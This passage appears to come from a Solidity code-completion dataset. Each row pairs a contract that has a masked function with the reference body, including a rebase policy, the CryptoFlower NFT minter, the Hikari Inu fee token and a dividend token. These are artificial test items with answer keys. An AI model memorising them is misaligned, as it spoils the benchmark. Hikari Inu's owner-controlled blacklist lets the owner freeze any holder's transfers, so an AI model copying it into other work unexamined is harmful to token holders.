emit RocketUpdated(address(_rocket));
}
function setDeviationThreshold(uint256 _deviationThreshold)
external
override
onlyOwner
{
deviationThreshold = _deviationThreshold;
}
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*/
function rebase() external override {
require(
inRebaseWindow(),
"MonetaryPolicy: Cannot rebase, out of rebase window (1)"
);
// This comparison also ensures there is no reentrancy.
require(
lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now,
"MonetaryPolicy: Cannot rebase, out of rebase window (2)"
);
// Snap the rebase time to the start of this window.
lastRebaseTimestampSec = now.sub(now.mod(minRebaseTimeIntervalSec)).add(
rebaseWindowOffsetSec
);
epoch = epoch.add(1);
uint256 targetPrice = uint256(1.25 ether).add(
epoch.mul(increasePerRebase)
);
uint256 exchangeRate;
bool rateValid;
(exchangeRate, rateValid) = marketOracle.getData();
require(rateValid, "MonetaryPolicy: invalid data from Market Oracle");
if (exchangeRate > MAX_RATE) {
exchangeRate = MAX_RATE;
}
int256 supplyDelta = _computeSupplyDelta(
rocket.totalSupply(),
exchangeRate,
targetPrice
);
supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe());
if (
supplyDelta > 0 &&
rocket.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY
) {
supplyDelta = (MAX_SUPPLY.sub(rocket.totalSupply())).toInt256Safe();
}
uint256 supplyAfterRebase = rocket.rebase(epoch, supplyDelta);
assert(supplyAfterRebase <= MAX_SUPPLY);
emit RocketRebased(epoch, exchangeRate, supplyDelta, now);
}
function rebaseStakings() private {}
function setRebaseLag(uint256 _rebaseLag) external override onlyOwner {
require(_rebaseLag > 0, "MonetaryPolicy: rebaseLag should be > 0");
rebaseLag = _rebaseLag;
}
function setRebaseTimingParameters(
uint256 _minRebaseTimeIntervalSec,
uint256 _rebaseWindowOffsetSec,
uint256 _rebaseWindowLengthSec
) external override onlyOwner {
require(
_minRebaseTimeIntervalSec > 0,
"MonetaryPolicy: minRebaseTimeIntervalSec should be > 0"
);
require(
_rebaseWindowOffsetSec < _minRebaseTimeIntervalSec,
"MonetaryPolicy: rebaseWindowOffsetSec should be < minRebaseTimeIntervalSec"
);
minRebaseTimeIntervalSec = _minRebaseTimeIntervalSec;
rebaseWindowOffsetSec = _rebaseWindowOffsetSec;
rebaseWindowLengthSec = _rebaseWindowLengthSec;
}
function inRebaseWindow() public override view returns (bool) {
return (now.mod(minRebaseTimeIntervalSec) >= rebaseWindowOffsetSec &&
now.mod(minRebaseTimeIntervalSec) <
(rebaseWindowOffsetSec.add(rebaseWindowLengthSec)));
}
function _computeSupplyDelta(
uint256 totalSupply,
uint256 _rate,
uint256 _targetPrice
) private view returns (int256) {
if (_withinDeviationThreshold(_rate, _targetPrice)) {
return 0;
}
int256 targetPriceSigned = _targetPrice.toInt256Safe();
return
totalSupply
.toInt256Safe()
.mul(_rate.toInt256Safe().sub(targetPriceSigned))
.div(targetPriceSigned);
}
function _withinDeviationThreshold(uint256 _rate, uint256 _targetPrice)
private
view
returns (bool)
{
uint256 absoluteDeviationThreshold = _targetPrice
.mul(deviationThreshold)
.div(10**DECIMALS);
return
(_rate >= _targetPrice &&
_rate.sub(_targetPrice) < absoluteDeviationThreshold) ||
(_rate < _targetPrice &&
_targetPrice.sub(_rate) < absoluteDeviationThreshold);
}
} |
OwnableUpgradeSafe.__Ownable_init();
deviationThreshold = 5 * 10**(DECIMALS - 2);
rebaseLag = 10;
minRebaseTimeIntervalSec = 1 days;
rebaseWindowOffsetSec = 72000; // 8PM UTC
rebaseWindowLengthSec = 15 minutes;
lastRebaseTimestampSec = 0;
epoch = 0;
increasePerRebase = INCREASE_PER_WEEK.mul(minRebaseTimeIntervalSec).div(
1 weeks
);
rocket = _rocket;
marketOracle = _marketOracle;
| function initialize(IRocketV2 _rocket, IOracle _marketOracle)
external
initializer
| function initialize(IRocketV2 _rocket, IOracle _marketOracle)
external
initializer
|
53805 | CryptoFlower | mint | contract CryptoFlower is ERC721Token, Ownable {
// Disallowing transfers
bool transfersAllowed = false;
// Storage of flower generator
mapping (uint256 => bytes7) genes;
mapping (uint256 => string) dedication;
// event definitions
event FlowerAwarded(address indexed owner, uint256 tokenID, bytes7 gen);
event FlowerDedicated(uint256 tokenID, string wording);
/*
* @dev Constructor
* @param string _name simple setter for the token.name variable
* @param string _symbol simple setter for the token.symbol variable
*/
constructor(string _name, string _symbol)
ERC721Token(_name, _symbol)
public {}
/*
* @dev Minting function calling token._mint procedure
* @param address beneficiary is the destination of the token ownership
* @param bytes32 generator is a hash generated by the fundraiser contract
* @param uint karma is a genome influencer which will help to get a higher bonus gene
* @return bool - true
*/
function mint(address beneficiary, bytes32 generator, uint karma) onlyOwner external returns (bool) {<FILL_FUNCTION_BODY> }
/*
* @dev function that enables to add one-off additional text to the token
* @param uint256 tokenID of the token an owner wants to add dedication text to
* @param string wording of the dedication to be shown with the flower
*/
function addDedication(uint256 tokenID, string wording)
onlyOwnerOf(tokenID)
public {
require(bytes(dedication[tokenID]).length == 0);
dedication[tokenID] = wording;
emit FlowerDedicated(tokenID, wording);
}
/*
* Helper functions
*/
/*
* @dev function returning tokenID of the last token issued
* @return uint256 - the tokenID
*/
function lastID() view public returns (uint256) {
return allTokens.length - 1;
}
/*
* @dev CryptoFlower specific function returning the genome of a token
* @param uint256 tokenID to look up the genome
* @return bytes7 genome of the token
*/
function getGen(uint256 tokenID) public view returns(bytes7) {
return genes[tokenID];
}
/*
* @dev function transforming a genom byte array to bytes7 type
* @param bytes1[7] b - an array of 7 single bytes representing individual genes
* @return bytes7 the compact type
*/
function bytesToBytes7(bytes1[7] b) private pure returns (bytes7) {
bytes7 out;
for (uint i = 0; i < 7; i++) {
out |= bytes7(b[i] & 0xFF) >> (i * 8);
}
return out;
}
/**
* @dev Checks msg.sender can transfer a token, by being owner, approved, or operator
* @param _tokenId uint256 ID of the token to validate
*/
modifier canTransfer(uint256 _tokenId) {
require(transfersAllowed);
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
} | contract CryptoFlower is ERC721Token, Ownable {
// Disallowing transfers
bool transfersAllowed = false;
// Storage of flower generator
mapping (uint256 => bytes7) genes;
mapping (uint256 => string) dedication;
// event definitions
event FlowerAwarded(address indexed owner, uint256 tokenID, bytes7 gen);
event FlowerDedicated(uint256 tokenID, string wording);
/*
* @dev Constructor
* @param string _name simple setter for the token.name variable
* @param string _symbol simple setter for the token.symbol variable
*/
constructor(string _name, string _symbol)
ERC721Token(_name, _symbol)
public {}
<FILL_FUNCTION>
/*
* @dev function that enables to add one-off additional text to the token
* @param uint256 tokenID of the token an owner wants to add dedication text to
* @param string wording of the dedication to be shown with the flower
*/
function addDedication(uint256 tokenID, string wording)
onlyOwnerOf(tokenID)
public {
require(bytes(dedication[tokenID]).length == 0);
dedication[tokenID] = wording;
emit FlowerDedicated(tokenID, wording);
}
/*
* Helper functions
*/
/*
* @dev function returning tokenID of the last token issued
* @return uint256 - the tokenID
*/
function lastID() view public returns (uint256) {
return allTokens.length - 1;
}
/*
* @dev CryptoFlower specific function returning the genome of a token
* @param uint256 tokenID to look up the genome
* @return bytes7 genome of the token
*/
function getGen(uint256 tokenID) public view returns(bytes7) {
return genes[tokenID];
}
/*
* @dev function transforming a genom byte array to bytes7 type
* @param bytes1[7] b - an array of 7 single bytes representing individual genes
* @return bytes7 the compact type
*/
function bytesToBytes7(bytes1[7] b) private pure returns (bytes7) {
bytes7 out;
for (uint i = 0; i < 7; i++) {
out |= bytes7(b[i] & 0xFF) >> (i * 8);
}
return out;
}
/**
* @dev Checks msg.sender can transfer a token, by being owner, approved, or operator
* @param _tokenId uint256 ID of the token to validate
*/
modifier canTransfer(uint256 _tokenId) {
require(transfersAllowed);
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
} |
/*
* Interpretation mechanism [variant (value interval)]
* Flower: 1 (0-85); 2 (86-170); 3 (171-255);
* Bloom: 1 (0-51); 2 (52-102); 3 (103-153); 4 (154-204); 5 (205-255)
* Stem: 1 (0-85); 2 (86-170); 3 (171-255);
* Special: None (0-222);1 (223-239); 2 (240-255);
* Color Bloom: hue variation
* Color Stem: hue variation
* Color Background: hue variation
*/
bytes1[7] memory genome;
genome[0] = generator[0];
genome[1] = generator[1];
genome[2] = generator[2];
if (uint(generator[3]) + karma >= 255) {
genome[3] = bytes1(255);
} else {
genome[3] = bytes1(uint(generator[3]) + karma);
}
genome[4] = generator[4];
genome[5] = generator[5];
genome[6] = generator[6];
genes[lastID() + 1] = bytesToBytes7(genome);
emit FlowerAwarded(beneficiary, lastID() + 1, genes[lastID() + 1]);
_mint(beneficiary, lastID() + 1);
return true;
| function mint(address beneficiary, bytes32 generator, uint karma) onlyOwner external returns (bool) | /*
* @dev Minting function calling token._mint procedure
* @param address beneficiary is the destination of the token ownership
* @param bytes32 generator is a hash generated by the fundraiser contract
* @param uint karma is a genome influencer which will help to get a higher bonus gene
* @return bool - true
*/
function mint(address beneficiary, bytes32 generator, uint karma) onlyOwner external returns (bool) |
83232 | HikariInu | null | contract HikariInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Hikari Inu";
string private constant _symbol = "HIKA";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _cooldownSeconds = 40;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {<FILL_FUNCTION_BODY> }
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool isEnabled) external onlyOwner() {
cooldownEnabled = isEnabled;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function addLiquidityETH() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() {
require(cooldownSecs > 0, "Secs must be greater than 0");
_cooldownSeconds = cooldownSecs;
}
} | contract HikariInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Hikari Inu";
string private constant _symbol = "HIKA";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _cooldownSeconds = 40;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
<FILL_FUNCTION>
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool isEnabled) external onlyOwner() {
cooldownEnabled = isEnabled;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function addLiquidityETH() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() {
require(cooldownSecs > 0, "Secs must be greater than 0");
_cooldownSeconds = cooldownSecs;
}
} |
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
| constructor(address payable addr1, address payable addr2) | constructor(address payable addr1, address payable addr2) |
35645 | TulipBlueToken | TulipBlueToken | contract TulipBlueToken is StandardToken {
string public constant name = "TulipBlueToken"; // solium-disable-line uppercase
string public constant symbol = "TLPB"; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 100000;
// contract owner
address public owner;
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function TulipBlueToken() public {<FILL_FUNCTION_BODY> }
} | contract TulipBlueToken is StandardToken {
string public constant name = "TulipBlueToken"; // solium-disable-line uppercase
string public constant symbol = "TLPB"; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 100000;
// contract owner
address public owner;
<FILL_FUNCTION>
} |
owner = msg.sender;
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
| function TulipBlueToken() public | /**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function TulipBlueToken() public |
32335 | BasicToken | divsOwing | contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint pointMultiplier = 1e18;
mapping (address => uint) lastDivPoints;
uint totalDivPoints = 0;
string[] public divMessages;
event DividendsTransferred(address account, uint amount);
event DividendsAdded(uint amount, string message);
function divsOwing(address _addr) public view returns (uint) {<FILL_FUNCTION_BODY> }
function updateAccount(address account) internal {
uint owing = divsOwing(account);
if (owing > 0) {
account.transfer(owing);
emit DividendsTransferred(account, owing);
}
lastDivPoints[account] = totalDivPoints;
}
function payDividends(string message) payable public onlyOwner {
uint weiAmount = msg.value;
require(weiAmount>0);
divMessages.push(message);
totalDivPoints = totalDivPoints.add(weiAmount.mul(pointMultiplier).div(totalSupply));
emit DividendsAdded(weiAmount, message);
}
function getLastDivMessage() public view returns (string, uint) {
return (divMessages[divMessages.length - 1], divMessages.length);
}
function claimDividends() public {
updateAccount(msg.sender);
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
updateAccount(msg.sender);
updateAccount(_to);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
} | contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint pointMultiplier = 1e18;
mapping (address => uint) lastDivPoints;
uint totalDivPoints = 0;
string[] public divMessages;
event DividendsTransferred(address account, uint amount);
event DividendsAdded(uint amount, string message);
<FILL_FUNCTION>
function updateAccount(address account) internal {
uint owing = divsOwing(account);
if (owing > 0) {
account.transfer(owing);
emit DividendsTransferred(account, owing);
}
lastDivPoints[account] = totalDivPoints;
}
function payDividends(string message) payable public onlyOwner {
uint weiAmount = msg.value;
require(weiAmount>0);
divMessages.push(message);
totalDivPoints = totalDivPoints.add(weiAmount.mul(pointMultiplier).div(totalSupply));
emit DividendsAdded(weiAmount, message);
}
function getLastDivMessage() public view returns (string, uint) {
return (divMessages[divMessages.length - 1], divMessages.length);
}
function claimDividends() public {
updateAccount(msg.sender);
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
updateAccount(msg.sender);
updateAccount(_to);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
} |
uint newDivPoints = totalDivPoints.sub(lastDivPoints[_addr]);
return balances[_addr].mul(newDivPoints).div(pointMultiplier);
